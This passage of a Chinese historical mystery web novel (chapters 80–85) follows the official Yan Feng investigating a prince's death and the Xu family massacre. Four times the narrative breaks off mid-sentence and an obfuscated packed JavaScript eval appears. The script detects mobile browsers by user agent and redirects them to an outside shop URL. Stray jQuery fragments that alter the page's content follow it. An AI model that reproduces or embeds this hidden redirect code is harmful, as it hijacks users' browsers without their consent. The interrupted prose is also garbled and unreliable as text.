言罢，又从袖中取出一顶小巧的虎头帽，于指间轻轻摩挲。 “你看，朕最小的儿子，还这般小。看来看去，朕的这些儿女之中，唯你最令朕欣慰、得意。只可惜啊……” 皇帝意味深长地停住了话头。 燕风心中霎时雪亮。原来如此。 老东西这是在怀疑，三皇子之死，与太子脱不了干系！毕竟，除掉了最具威胁的老三，最大的受益者，除了太子，还能有谁？ 只是…… 念及此处，方才殿外撞见的那张惊惶面孔，便蓦地浮现在眼前。 那个见她如鼠遇猫、几乎踉跄退避的兄长，那般瑟缩的模样。 这样一个人，当真能有这般狠绝的魄力，做出屠戮手足、血洗王府的惊天之事么？ 81. 挑衅 从西苑出来，引路的小太监已换了一个。 这一个年纪更轻，眉眼间尚存几分未褪尽的稚气，行事也远不如先前那位沉稳。连躬身引路的姿态都透着一股不甚熟练的局促。 行至半途，穿过一座小花园时，小太监忽然停下脚步，脸上堆满了难堪的窘迫： “大人……小的、小的忽然腹中急痛难忍，能否……能否容小的去行个方便？速去速回，绝不敢耽搁大人！” 燕风瞥了他一眼，心下了然。 她本想说，这宫里的每一条暗道、每一处角落，她幼时早已窜得烂熟，其实根本不需他来引路。 但话到嘴边，又咽了回去。 何苦砸了别人的饭碗呢。 她十分好脾气地摆了摆手，温和道：“去吧去吧，身子要紧。我在此处等你便是。” 小太监如蒙大赦，连声道谢，随即脚步匆匆地拐进了旁边的岔道，身影很快消失在园林尽头。 燕风独自立在原地，四周只剩风吹过枝叶的细微声响。她抬头望了望不远处的一座假山，静默地等待着。 果然，片刻之后，一道窈窕的身影自假山后缓缓踱出。 待看清来人面貌，燕风心下微愕——此人身份，确是她未曾料想的。 “臣燕风，见过福瑛长公主。”她躬身行礼。 “燕大人不必多礼。” 对方的声音响起，恰如她闻名遐迩的容貌一般，悦耳又迷人。 燕风直起身，抬眼望去。这还是她第一次如此近距离地面对这位被誉为皇室明珠的长公主。只见她云鬓花颜，那样惊心动魄的美貌，几乎令人不敢直视。 同时，长公主那双含笑的妙目也正细细打量着她，目光流转间，竟似带着几分显而易见的满意神色。 “燕大人何故独自在此驻足？”长公主柔声道。 燕风心道您这不是明知故问么，面上却仍是老老实实地将小太监内急、自己在此等候的原委解释了一遍。 长公主点了点头，随即与她闲谈起来。她先是赞了她几句“年少有为”、“陛下常提及颇为倚重”。 话锋一转，便解释自己今日入宫，是来探望年幼的十九皇子。说着，她竟也从袖中取出一顶精致的虎头帽。 燕风只觉那帽子十分眼熟，再细看其样式与做工，心头猛地一跳。 这分明就是方才皇帝在暖阁内把玩的那顶！ 福瑛长公主仿佛未曾察觉她的讶异，指尖轻抚过帽上的纹绣，语气温软地解释：“十九皇子自小便失了母妃，一直很黏我这个姑姑。那孩子玉雪可爱，我也真心疼他。” “看着他，总会让我想起我的恂儿小时候的模样。” 她抬眸看向燕风，眼中染上了一层感伤。 “只是那时候……本宫自己也还太年轻，尚不懂得，该如何做一个母亲。” 燕风不动声色地听着。 福瑛长公主柔媚的声线里带着探询：“恂儿……他平日，是如何同你说起我的？” 燕风心下一凛，立刻躬身，语气恭敬而疏离：“公主殿下莫怪，臣与宗将军其实并不相熟。” 长公主唇角弯起一个了然的弧度，似乎早料到她会如此回答。 “此处并无外人，何必一口一个‘臣’字，听着生分。若是你愿意，私下里，也可同十九皇子一般，唤我一声‘姑姑’。” 燕风心中震骇。但目光触及她手中那顶虎头帽，惊涛骇浪之后，竟生出几分‘果然如此’。 她愈发谨慎起来，最终只将头埋得更低，用一个最稳妥的字回应。 “是。” “我知你心中在担忧什么。不过，这担忧其实完全没有必要。” 她指尖温柔地抚过帽上细密的针脚，“我儿从前身陷囹圄，我猜定是你救他出来。不过，你放心，这猜想我谁也不会说。” “我毕竟，是他的母亲。” 燕风紧抿着唇，不肯再泄露半分情绪。 “孩子就是这样的……很小很小的一件事，在他们心里，却会以为是天塌下来的大事。而且，总是能记得很久。若是在他孩童之时稍稍亏欠了他，待他长大了，纵使后来做再多的事去弥补，也往往于事无补。” 她眼中似有水光闪过：“但反之亦然。这世上若有后悔药，我定要第一个去尝。如今我还能为别人的孩子缝制这小小的虎头帽，可我自己的恂儿小时候……却连一顶都没有。” 美人含泪，总是格外动人。燕风看在眼里，心头也不由得一软，一时竟不知该如何接话。 “瞧我，无缘无故同你说这些陈年旧事做什么。” 长公主用指尖轻轻拂去那点泪痕：“皇上看重你，才将三皇子的案子交给你。你和恂儿……凡事都要当心些。” 她注视着燕风，轻声道：“但愿此案能到此为止，万勿再添新的受害者了。” * 长公主走后，燕风依旧立在原处。 日光正盛，映得琉璃瓦一片金辉，她微微眯起眼，看向前方被宫墙约束得四四方方的天空。 直到那名引路的小太监小跑着回来，脸上堆着歉意的笑：“让燕大人久等了，小的这突然……” “无妨。” 燕风打断他，语声是一贯的平稳，“走吧。” 回到北镇抚司衙门，还未走上几步，她那几个心腹手下便呼啦啦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485587|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 围了上来。 燕风笑：“怎么着，这时候知道要巴结上司了？” 然而，就连平日里最没正形的严炳安此刻也绷紧了脸，嘴角抿成一条直线。陈青默不作声地将一物递到她眼前。 “这是什么？” 那是一支残破的断箭，箭杆朽坏，唯独那铁铸的箭头上，湿漉漉地浸染着一些液体。她用指腹轻轻地蹭了一下，指尖染上一抹刺目的红。 像血。 “哪来的？”她声音沉了下去。 白砚生抬手，指向大门上方——正是悬挂着“北镇抚司”牌匾的位置。 “午时饭后回来时还没有。是突然出现的。” 燕风问：“你怎知午时没有？回来时恰好抬头看了？” 白砚生摇头：“位置太高，常人不会特意仰头。是这东西滴落下来，险些滴到人，又在地上留下了痕迹，我们才发现的。可午时归来时，地面还是干净的。 杨胜不住地用袖子擦头，额发间隐约可见一小片不自然的淡红，看来那个被滴到的倒霉蛋就是他了。 他声音颤抖：“头儿，这…这到底是怎么回事？” 燕风目光扫过牌匾，想了想，道：“衙门口虽非闹市，却也人来人往。想将此物神不知鬼不觉地安上去，绝非易事。何况，这还是一支无法搭弓的断箭，无论是投掷插入，还是凭借轻功放置，都需极强的臂力或出神入化的身手，或许二者兼备。” 她冷哼一声，指尖轻轻弹了一下箭杆：“呵，这是挑衅来了。” 此话一出，众人脸色霎时白了三分。这个节骨眼上，能做这事的，除了那个将三皇子府屠戮一空、武功深不可测的凶手，还能有谁？ 杨胜最为惶恐：“若真是那人…这、这上面的红东西，该不会是…死人血吧？” 燕风轻轻拍了拍他的肩膀：“别自己吓自己。往好处想，即便真是血，也绝非三皇子府上的。血凝固得快，这瞧着还新鲜。说不定，只是从哪里随手弄来的耗子血。专拿来吓唬人罢了。” 杨胜显然没被这话安抚到，搓得反而更急切了。 白砚生适时上前一步：“大人，我们接下来该如何应对？” “还能如何？该查的案子照样查！” 燕风斩钉截铁道：“人家战书都送到衙门牌匾上了，我们岂能露怯？” 她似想起了什么，又突然问道：“洪大人今日可来了？他既奉命协理此案，总该每日露个面才是。” “刑部洪大人辰时来了一趟……” “来过便好，至少没称病躲懒。” 燕风朗声一笑：“走，咱们这就请上他一同去。有些场合，还真没他不行。” 82. 徐府 刑部侍郎洪茂洪大人是个官场老油子。 但新任锦衣卫同知，燕风燕大人，是个一根筋到底的直性子，还是个颇有些力气的武人。总之，洪大人虽然颇不情愿，还是被‘请’到了燕大人的马车里一同上了路。 待到了地方，洪大人从马车里钻出头来，看着眼前这座虽气派却并不陌生的府邸时，不由得怔了怔。 “洪大人？” “哎，早说是来这儿啊！”洪茂整了整衣冠，从从容容地下了车。 燕风挑眉：“那洪大人以为是去哪儿？” 洪茂嘿嘿两声，跟着燕风等人去叩了徐府的门。 应门的是个老头，耷拉着的眼睛一眼扫到了站在前头的陈青：“怎么又来，昨日不是刚来过嘛，这案子已经清了，府里在办白事，恕不接待了。” 洪茂一个箭步抢上前，拦住欲关的大门：“且慢且看，徐管家，今日怎么是您亲自应门！” 老头的三角眼在看清来人后骤然圆润了一瞬：“哎呦，洪大人！什么风把您吹来了？” 洪茂脸上立即堆起圆滑又游刃有余的笑容，侧身将燕风让到身前。 “老管家莫急。这位是新任锦衣卫同知，燕风燕大人。燕大人素闻徐府门第清贵、家风醇厚，心中甚为敬重。今日恰逢我等在左近办公，便想着顺道前来致意，也是聊表关切。万望管家通融则个，代为通传一声。” 徐管家听了这话，忙不迭地躬身作揖，语气与先前判若两人。 “哎哟！小老儿有眼不识泰山，不知是燕大人与洪大人驾到，多有怠慢，死罪死罪！府上虽在治丧，但两位大人亲临，实乃蓬荜生辉，岂敢怠慢，快请快请！” 说着，他便侧身让开大门，毕恭毕敬地将一行人请了进去。 穿庭过院时，但见洪茂步履从容，甚至与几位看似面熟的仆役点头致意，俨然一副熟门熟路的模样。 待众人在花厅坐定，徐管家等人奉茶后退下，燕风转向洪茂，直言相问：“洪大人与徐府上下，似乎颇为熟稔？” 洪茂难掩得意之情：“燕大人说笑了，‘熟稔’二字可不敢当。不过是恰有几分渊源——在下姑父李芳贤李大人，他那位去得早的原配夫人，便是徐家出身的小姐。我那表弟思及先慈时，常回徐家走动，下官便也跟着来过几回罢了。” 北镇抚司几人彼此交换了个眼神，这位洪大人攀关系、套近乎的功夫，果真已臻化境。 燕风等人并未等候太久。 厅外廊下，忽然传来一阵沉重而迟滞的脚步声，间或夹杂着木杖触地的“笃笃”轻响。 众人抬眼望去，只见一名身形异常臃肿的年轻男子，正由健仆半搀半架，颇为艰难地挪入门内。 他面色白皙，脸庞圆润，因满面肥肉堆叠，眉眼被衬得格外集中，竟透出几分菩萨似的憨拙。 徐家的大公子徐维翰额上覆着一层细密的汗珠，甫一站定，他便推开仆役，执意自己拄稳拐杖。先是露出一个略带歉意的笑，这才缓缓拱手行礼。 “贵客临门，维翰有失远迎，实在失礼。燕大人、洪大人，还请恕罪。” 他的目光不卑不亢地扫过燕风等人，最后停留在洪茂身上：“洪世兄，许久不见，家父前两日的家书里还提起李大人，甚是挂念。” 燕风开门见山：“徐公子节哀。本官此番前来，一为吊唁，二来，也是因徐府二房之事，与近日京城的一些风波或有牵连，特来询问一二。” 徐维翰叹了口气，按了按眼角：“劳燕大人一趟。二叔一家遭此横祸，阖府上下无不悲恸。维翰这副残躯，也是有心无力，未能替二叔他们多做些什么。” 随即，他眼神诚恳：“至于其他，维翰消息闭塞，实在不知。不过，燕大人既然亲至，维翰定然知无不言。” 燕风微微点头：“有劳公子。请问案发当日，府中是何情形？公子可曾亲历或听闻异状？” 徐维翰眉头紧锁，片刻后才缓道：“那日……正值我休沐。大约卯时三刻，天刚蒙蒙亮，我素来醒得早，正在书房暖阁中倚榻读书。忽闻院外脚步仓皇，原是管事徐忠，他面无人色，语不成句，只反复道‘二房那边出事了，出大事了’。我心中惊骇，即刻命长随搀扶，急急赶去。可终究……迟了。” “管事徐忠？可是方才领我们来的那位？” “并非一人。”徐维翰摇头，“燕大人有所不知，徐家各房皆有专司其事的管事。徐忠是我大房之人；方才为大人引路的，是二房管事，名唤徐诚。” “原是如此。冒昧打断，公子请继续。” “无妨。我赶到时，二房院门大开，里头、里头已然是惨不忍睹。二叔、婶娘，并几位堂弟，皆倒在血泊之中。唯有三堂弟维闵，他独自坐在正堂门槛上，手中紧握一柄卷刃钢刀，浑身浴血，目光僵直，任谁呼唤都无反应。” 燕风沉吟：“徐维闵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485588|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年仅十七，平日亦非习武之人。府中仆从众多，竟无人能当场制止？” 徐维翰面色苍白：“此事，维翰亦感蹊跷。据二房的下人们后来说，祸事恐起于子夜时分，众人皆已熟睡。直至次日清晨，仆役如常前去伺候洗漱，方才发现惨状。彼时，一切早已无可挽回。” “当时可有仆役伤亡？” “几乎没有。” “徐公子说笑了，没有就是没有，有就是有，何来几乎没有。” 徐维翰说到此处，气息已显急促，按在拐杖上的手微微发颤。一旁侍立的仆从连忙搬来椅子，却被他抬手止住，他自己仍勉力地站着。 这强撑的姿态，令在场众人皆感不忍。 燕风语气稍缓：“徐公子还请坐下说话。燕某今日是以徐府来客的身份前来探问，并非公堂对簿，实不必如此拘礼伤身。” 徐维翰这才缓缓落座：“燕大人见谅，这是维翰待客的习惯，倒让您见笑了。今日确实有些不适，还望海涵。” “徐公子客气了。”燕风笑道，“你我既同朝为官，不必如此拘谨。论年齿资历，或许您还长我些许，不妨以‘燕兄’相称便是。” 徐维翰微笑了笑，从善如流：“燕兄。” 他略作调息，正色道：“方才所谓‘几乎没有’，确有缘由。据维翰所知，维闵行凶之时与之后，确无下人伤亡。唯在次日天明，家人齐聚院中时，许是羞愧难当，维闵忽然举刀欲自戕。他一名唤做阿勇的忠仆扑上前夺刀，纠缠间被刀口划伤手臂。这便是唯一的伤者。除此之外，并无他人受害。” 燕风点头：“弑亲已是十恶不赦，按律当处极刑。凶犯事后畏罪求死，倒也在情理之中。” 她转而向身旁的洪茂确认：“听闻他在刑部画押认罪后，便趁狱卒不备，撞壁而亡。可是如此？” 洪茂称是。 燕风目光回到徐维翰身上：“二房原有的仆役，如今可还在府中？尤其是那位夺刀受伤的。” 徐维翰面露难色，叹道：“刑部结案后，维翰想着他们经历此事，心中难免惊怖，继续留于旧地恐是煎熬。便发还了身契，赠予盘缠，允他们自去谋生。大半都散去了，只余下几个无处投奔或年迈不愿远走的，仍留府中做些杂役，也算有个安身之所。方才为燕兄引路的徐诚，便是其中之一。” “至于阿勇，他伤势不重，愈后也领了身契银两，离府去了，如今不知下落。” 83. 往事 出了徐府，燕风以疲惫为由弃了马，与洪茂同乘一车。 车厢内空间不大，两人相对而坐，气氛便有些不同。 洪茂心觉不妙，果见对面舒展了一下肩颈，笑盈盈地开了口。 “洪大人，左右无事，不如同我说说，徐府这位大公子，平日风评如何？” 洪茂为难：“非是下官有意隐瞒，实在是对大公子所知有限。” “这就怪了，”燕风貌似随和，“洪大人不是徐府常客？何必如此谨慎，此刻无关公事，你我闲聊而已。” “实不相瞒，往日过府，多半是与二房的几位公子应酬往来。大公子么，您今日也见到了，深居简出，行动亦多有不便，下官确实也没打过几个照面。” “原来如此。”燕风点点头，“那二房的几位公子，又是何等人物？也都生得这般，这般福态么？” “非也非也，二房的公子们，个个相貌端正，风度翩翩。如今想来，真是可惜了。” 燕风似忽想起一事：“对了，听闻已故的五公主，当年择定的驸马正是这位徐大公子？既然二房子弟皆是一表人才，为何宫中，偏偏选中了大公子？” 洪茂闻言，顿时干笑两声：“这哪里能知道，天家心思，岂是臣子可以妄加揣测的。” 燕风挑了挑眉，作势便要起身：“说得也是，看来此事没什么好深究的。这样吧，今日时辰尚早，劳烦洪大人再陪我走一趟，去拜访另一位贵人。此人位高，我笨嘴拙舌恐有失礼，还需洪大人从旁周全一二。” 洪茂吓了一跳，忙伸手阻拦：“燕大人！且慢且慢……” 见燕风坐回原位，他才嗡声道，“下官……下官忽然想起些市井传闻。二房那几位公子，虽未正式娶亲，但外头其实都已安置了外室，子嗣都有了，还不止一个。” “这等事，徐府自然捂得严实。可孩子活生生地在那儿，时日久了，难免有风声漏出来。” 燕风点了点头，倒不意外，又问：“如今二房遭此大难，这些孩子如何处置？” “那就得看大公子的意思了。如今徐府是他当家。若念骨肉之情，继续供养，是仁厚；若嫌碍眼，狠心将他们都赶走，旁人也说不了什么，终究是名不正言不顺的外室子。” “嗯。”燕风若有所思，又问起另一事，“我有一处不解。徐家为何至今不曾分家？大房、二房之称，还是徐老太爷在时的事吧？徐阁老故去多年，如今已是第三代了。一大家子人挤在一处，岂不繁杂？” “这……”洪茂的眼珠子又开始转了起来。 燕风胸中一股无名火骤起，索性探手一把攥住洪茂的官领，将他拉近了几分。 她低声喝道：“洪大人可想清楚了，如今你我是一条绳上的蚂蚱。你以为还似上回五公主的案子，随便推几个替罪羊便能糊弄过去？这回的‘羊’，你抓得起吗？再这般遮遮掩掩，若误了大事。到时我自有我的退路，洪大人你身后，又剩得下什么？” 洪茂眼珠终于定住不动，连声求饶：“燕大人息怒、息怒！下官必定竭尽全力，不敢再有隐瞒！” 燕风意识到自己过了火，随即松手，替他拂了拂领口皱痕，语气淡了下来：“洪大人莫怪，本官也是心急。你知道什么，照实说便是。” 洪茂忙不迭点头：“是、是……其实徐家迟迟不分家，下官倒也听过些许风声，只是……终究是猜测。下官姑妄言之，大人也就姑妄听之，万万当不得真。” “这徐家……早几十年，那真是烈火烹油、鲜花着锦的鼎盛门第。” “徐老太爷官居首辅，门生故旧遍布朝野，这自不必说。更厉害的是，徐家女儿个个嫁入高门，联姻之广、根基之深，朝中无出其右——便是如今的太后，当年也是徐家嫡出的姑娘。” “只可惜，老太爷风光一世，儿子辈上却……颇有不及。三位公子，嫡出的两位，便是如今大房、二房的老爷，资质实在寻常；庶出的三爷，更是不起眼。老太爷大约也灰了心，便将指望全寄托在了孙辈上。” 说到这里，洪茂颇有几分感慨。 “大房那位大公子，幼时真是惊才绝艳，神童之名满京城。据说老太爷那时已动了分家的念头，长房有子如此，继承家业、光大门楣本是顺理成章。奈何……天意弄人。大公子五岁上那场大病，几乎去了半条命，人是救回来了，却落得不良于行。自此之后，老太爷便绝口不再提‘分家’二字，大约是想着，一大家子人守在一处，互相总有个倚靠。” “后来二房几位孙少爷相继出生，老太爷也不是没有期盼过，可终究……于读书仕途上，都只是平平。如今徐家偌大的门庭，说起来虽仍是一等一的显贵，可明眼人都看得出，已是‘阴盛阳衰’。” 洪茂压低了声音，带着几分洞察世情的微妙神色，“外头人敬着徐家，多半是瞧着那些嫁入各府、手段了得的姑奶奶们的情面，再加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485589|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上老太爷留下的一些香火人情，旧部门生偶尔看顾一二。内里嘛……一大家子人靠着祖产和往日余荫过日子，大公子虽掌着家，终究身有残疾，仕途上多有不便。各房心思如何，是否真如表面那般和睦，可就难说了。” 燕风听到此处，却忽然嗤笑一声：“洪大人的意思，是这大宅门里恩怨不少，二房此番遭难，或许与大房脱不了干系？你平日去二房走动，没少听他们抱怨长房吧？” 洪茂脸色一白，连忙摆手：“燕大人这是说哪儿的话，下官可没这个意思啊！说起来，这徐家的案子同三皇子的案子难道有什么联系吗？大人对徐家之事追问如此之细，下官难免有些猜想，这才把话说得偏了些。” “联系嘛，倒不一定有。” 燕风坦诚道：“我只想弄明白，三皇子当日为何要造反。” “大人慎言！” 洪茂急急掀开车帘一角向外张望，回头时额上已见冷汗。 “陛下既已保全了三皇子身后颜面，我等臣子，言辞务必谨慎啊！” 燕风点头：“洪大人提醒得是。只是毕竟是查案，有些前因后果，终究绕不过去。当然，谨慎些总无错。” 正说着，车外传来严炳安的声音。 “大人，刑部到了。” 马车随之缓缓停稳。 燕风起身，笑道：“洪大人今日辛苦了，早些回去歇息吧，明日若再有疑问，少不得还要登门请教。” 说罢，不等洪茂客套，便利落撩开车帘跃下马车。 又听她吩咐：“小严，你等洪大人走后，将马车还回租赁行。其余人，随我回北镇抚司。” 马蹄声随即响起，很快便去得远了。 洪茂探身出车厢，只见长街寂寂，连人影也瞧不见半个了。 他看向仍静候一旁的年轻武官：“你叫小严？方才燕大人说，这马车，是租的？北镇抚司竟连车驾也无么？” 严炳安机警地上前一步，虚扶了一把，答道：“回大人话，确是租来的。北镇抚司自然备有官车，只是我们头儿素日不喜动用，闲置久了难免积尘，打理起来反费周章。今日为接您，特意租了这辆，可是行车颠簸，让您不适了？” “哦，无妨，无妨。” 洪茂摆摆手，借着他的力道下了车。 他望了一眼燕风等人离去的方向，心中暗叹：到底是年轻气盛的武官，行事如风，这身子骨也真是硬朗。 84. 逢旧 一行人策马回衙时，日头已有些西沉。 还未到北镇抚司门前，老远便听见千户裴正格外昂扬的嗓音，虽听不真切内容，但那调子里的逢迎讨好，隔着一重街都能激得人一身鸡皮。 杨胜低声嘀咕：“裴千户又是见着谁了？这般精神，跟打了鸡血似的。” 燕风原本微垂着眼在思索些什么，闻言却忽然抬眼。连身下坐骑都似有所感，马蹄也随之缓了几分。 裴正听得声响，小跑着迎了出来，堆笑道：“燕大人可回来了！” 接着侧身让开，态度是前所未有的恭敬。从他身后，一道颀长身影不紧不慢地踱了出来。 正是宗恂。 他立在阶前，周身被黄昏的余晖勾勒出一圈朦胧的光边。燕风只觉得周遭的嘈杂褪去了一刹，天地间仿佛只余下那个人，以及他投来的目光。 两人的视线在空中堪堪相触，便如同被火苗烫了一下，各自转开。几个属下已利落地翻身下马，燕风竟有一瞬的茫然，脑子种种念头都像是被那一眼抽空了，连怎么下马都忘了。 陈青已率先上前，抱拳行礼：“宗将军。” 杨胜见状，下意识也要跟着行礼，胳膊却被旁边的白砚生一把攥住。他不着痕迹地递了个眼色，朝燕风的方向微微一瞥。 杨胜先是一愣，随即恍然忆起，从前头儿与这位将军，似乎是有些不算愉快的旧事，如今却要请人相助……这气氛，确然是有些微妙。 燕风总算稳住了心神，深吸一口气，翻身下马。许是腿脚当真有些麻了，落地时脚下竟虚浮了一下，身形微晃。 几乎在同一刹那，宗恂已下意识向前踏了半步，手臂已抬起一半。 “无妨！” 燕风已迅速站稳，声音比平日略高半调。她站直身子，刻意避开了他可能伸来的手，指尖却在袖中蜷起。 她公事公办地客气道：“多谢宗将军拨冗前来相助。此番案件实在棘手，若非万不得已，也不敢劳烦尊驾。” 宗手微微一顿，随即极其自然地转向，他面上笑意未改，目光却在她抿紧的唇线上停留。 “燕大人言重了。宗某如今已卸边关之职，于禁军之中不过虚领闲差，‘将军’之称实不敢当。此案若能略尽绵薄，亦是分内。” “倒是燕大人，听闻前些时日方才昼夜兼程，疾驰返京。公务虽重，更需……时时顾惜己身才是。” 他说的是官场里再寻常不过的客套寒暄。可那‘顾惜己身’几个字听在对方耳中，却似有些深意。 她耳根隐隐发热，面上却只波澜不惊地点头。正欲再寻几句场面话，一阵马蹄声恰在此时传由远及近得传来。 众人循声望去，却是严炳安回来了。他见衙门口这般阵仗，颇有些意外。待快速下马行了礼后，他挪到杨胜身侧，用胳膊肘轻碰了碰他：“怎么回事？才回来？” 杨胜回：“头儿带我们回各自家里取了些换洗衣裳，怕是又要出趟公差。我顺手把你的那份也收拾进来了。” “你还有几身能见人的行头？上回在南边，不都说丢干净了么？我的借你几身吧。” 这两人的‘低声’交谈，一字不落地飘进众人耳朵。 燕风脸上有些挂不住，轻咳了几声，截住话头：“并非出公差。是请你们几位，这几日暂且移步，到我宅中歇脚。” “也是为着大家的安全着想。还有，你们的行李并未丢失，先前暂存在我表妹处，她过几日便回京，届时自然归还。” 杨胜与严炳安闻言，对视一眼，脸上顿时露出不好意思的神色。 一旁的白砚生心思更细：“大人的意思是……那凶徒或有胆量，敢来袭击官差？” 燕风目光掠过门楣上高悬的“北镇抚司”匾额。夜色渐浓，那金字也显得沉黯。 她道：“那人连皇子都敢杀，又岂会将区区官差身份放在眼里？更何况，战书，他不是早已递来了么。” 说罢，她像是才想起宗恂尚在一旁，面上重新端起那副商讨公事的客气神情：“不知宗将军可否赏光，这几日也屈尊暂歇寒舍？案犯凶狠，若有将军在旁震慑，在下心中也踏实许多。” 宗恂笑道：“自无不可。说来也巧，我今日恰好从禁军营中取了些随身衣物，倒也便宜。天色已晚，不知燕大人今日可还有别的安排？” “没了没了。”燕风摆摆手：“前几日奔波赶路，今日又劳顿整日，还是早些歇息为好。” 说到这儿，突觉得腹中空空，这才想起晚饭尚未着落。中午那顿馄饨已是她咬牙请的客，如今囊中更显羞涩，连再去馄饨铺子里凑合一顿也显得艰难。好在家里倒是被江鱼处处种了小菜，鸡舍里鸡崽子也不少。看来，只得回家张罗了。 于是她又补充道：“晚膳便在我宅中用吧。只是我那擅厨的表妹眼下不在，我手艺实在粗陋，便只能委屈各位，尝尝我的手艺了。” * 待一行人回到燕风那处还算气派的宅院，安顿好住处，天色已彻底暗了下来。 几个属下哪里真敢让上官动手张罗饭食，不待吩咐便各自忙碌起来。杨胜利落地生起灶火，严炳安挽起袖子处理了几只倒霉的小鸡，白砚生洗菜切配，陈青则翻出了面粉开始擀面做饼。 小小的厨房里顿时挤满了人，锅碗碰撞，烟火气蒸腾而起。 院中石桌旁，便只剩下了燕风与宗恂。 在外人远远看来，这两人相处还是拘谨疏离的。但当柴火噼啪锅铲翻炒的响动充斥小院后，宗恂眼中的客气褪去，取而代之热烈深邃的注视。 他问：“今日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485590|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上可还自在？” 燕风不自觉扶了扶面具：“这个，先不提，今日白天发生了许多事，我找你来确实是要请你帮忙。” “你此番悄然离营南下数日，营中，可曾惹出什么麻烦？” 宗恂望着她刻意避开的侧脸，眼底笑意闪烁。 “是有一点麻烦，好在尚可转圜。说来也是托了三皇子的福，禁军中有人牵扯进那桩糊涂事里。营中正为此议论纷纷，人心浮动，倒是没什么人留意我这个闲人又去哪里游山玩水。” 燕风惊道：“你昨夜方归，竟也知晓了？我以为此事上下皆被严令封口，毕竟说是要保全老三死后的那点体面。” “说是要封口。可这等事，如何真能密不透风？营中一处突然空了许多床位，且皆是相熟的同僚。那些老兵油子，你也是知晓的，三杯黄汤下肚，还有什么话是撬不出的？” “如此说来，”燕风沉吟：“你可知参与此事者，人数可多？除禁军外，可还有别处人马附从？” 宗恂的视线始终未离她，笑道：“你我所想，果然一处。这也正是我觉得蹊跷之处：人太少了。少到连刑部大牢都未填满。处置起来也甚宽松。只惩办了几个为首的，余众竟都放过了，好似是因为‘自首从宽’。” 他又道：“但也有种说法，从宽是因为根本就没打起来。谋逆乃诛九族的大罪，本该是箭在弦上、不得不发，可事到临头，参与者竟稀稀落落。胜算全无，聪明人自然知道该如何选。” 燕风听完紧锁眉头：“难怪…难怪那日七公主曾言，刺杀三皇子之人，实则阴差阳错救了她一命。这般看来，这场‘造反’从一开始便漏洞百出。那三皇子，说不定真是遭人构陷。” 她忽地抬眼：“难道真是他？” “谁？” “今日我入宫面圣，皇帝说了一大篇父子兄弟的场面话，话里话外，却是将手明晃晃点在了东宫。” 宗恂道：“若只看结果，太子确是最大得益者。这几年，三皇子一党明里暗里对东宫的打压从未停过。” “不过说到底，真相究竟如何，或许并不重要。端看，上面的人，希望相信哪一个了。” “你说得对。”燕风嗤笑一声，“老爷子自己不想担废储的恶名，便盘算着推我出去做这个急先锋。为着‘犒赏’我，倒是大方，一口气给我升了两级。” “那你待如何？” “案子自然要查。”燕风正色道：“这凶徒太过危险，留不得。但他有他的盘算，我自然也有我的路数。但在这之前，有件事我必须要告诉你。” 燕风视线扫过厨房里几个忙碌的属下，轻声道： “我带来的这几个人里，恐怕出了内鬼。” 话音未落，宅院大门外，突然传来了‘笃笃’的拍门声。 85. 归来 宅院大门外，突然传来了‘笃笃’的拍门声。 院子里倏然一静，锅铲碰撞的声音停了。厨房里几人交换了个眼色，手已按在腰侧的刀柄。 燕风先是微怔，随即侧耳细听。片刻，她眼神一亮，露出几分喜色。她轻拍了拍宗恂的手背，而后快步穿过小院。“吱呀”一声院门打开。 门外站着三人，风尘仆仆，形容难掩狼狈，正是江鱼、罗同与迟三。 江鱼虽鬓发杂乱，袍角淤泥点点，一双眼睛却仍精神奕奕。而她身旁的罗同与迟三，却俱是眼下青黑，脚步虚浮，活像被抽去了大半精气神，蔫蔫地靠在门框边。 “小鱼！罗叔！” 燕风又惊又喜，连忙侧身让开，“快进来！怎么这般快就回来了？我算着路程，怎么也得七八日后才能到京啊！” 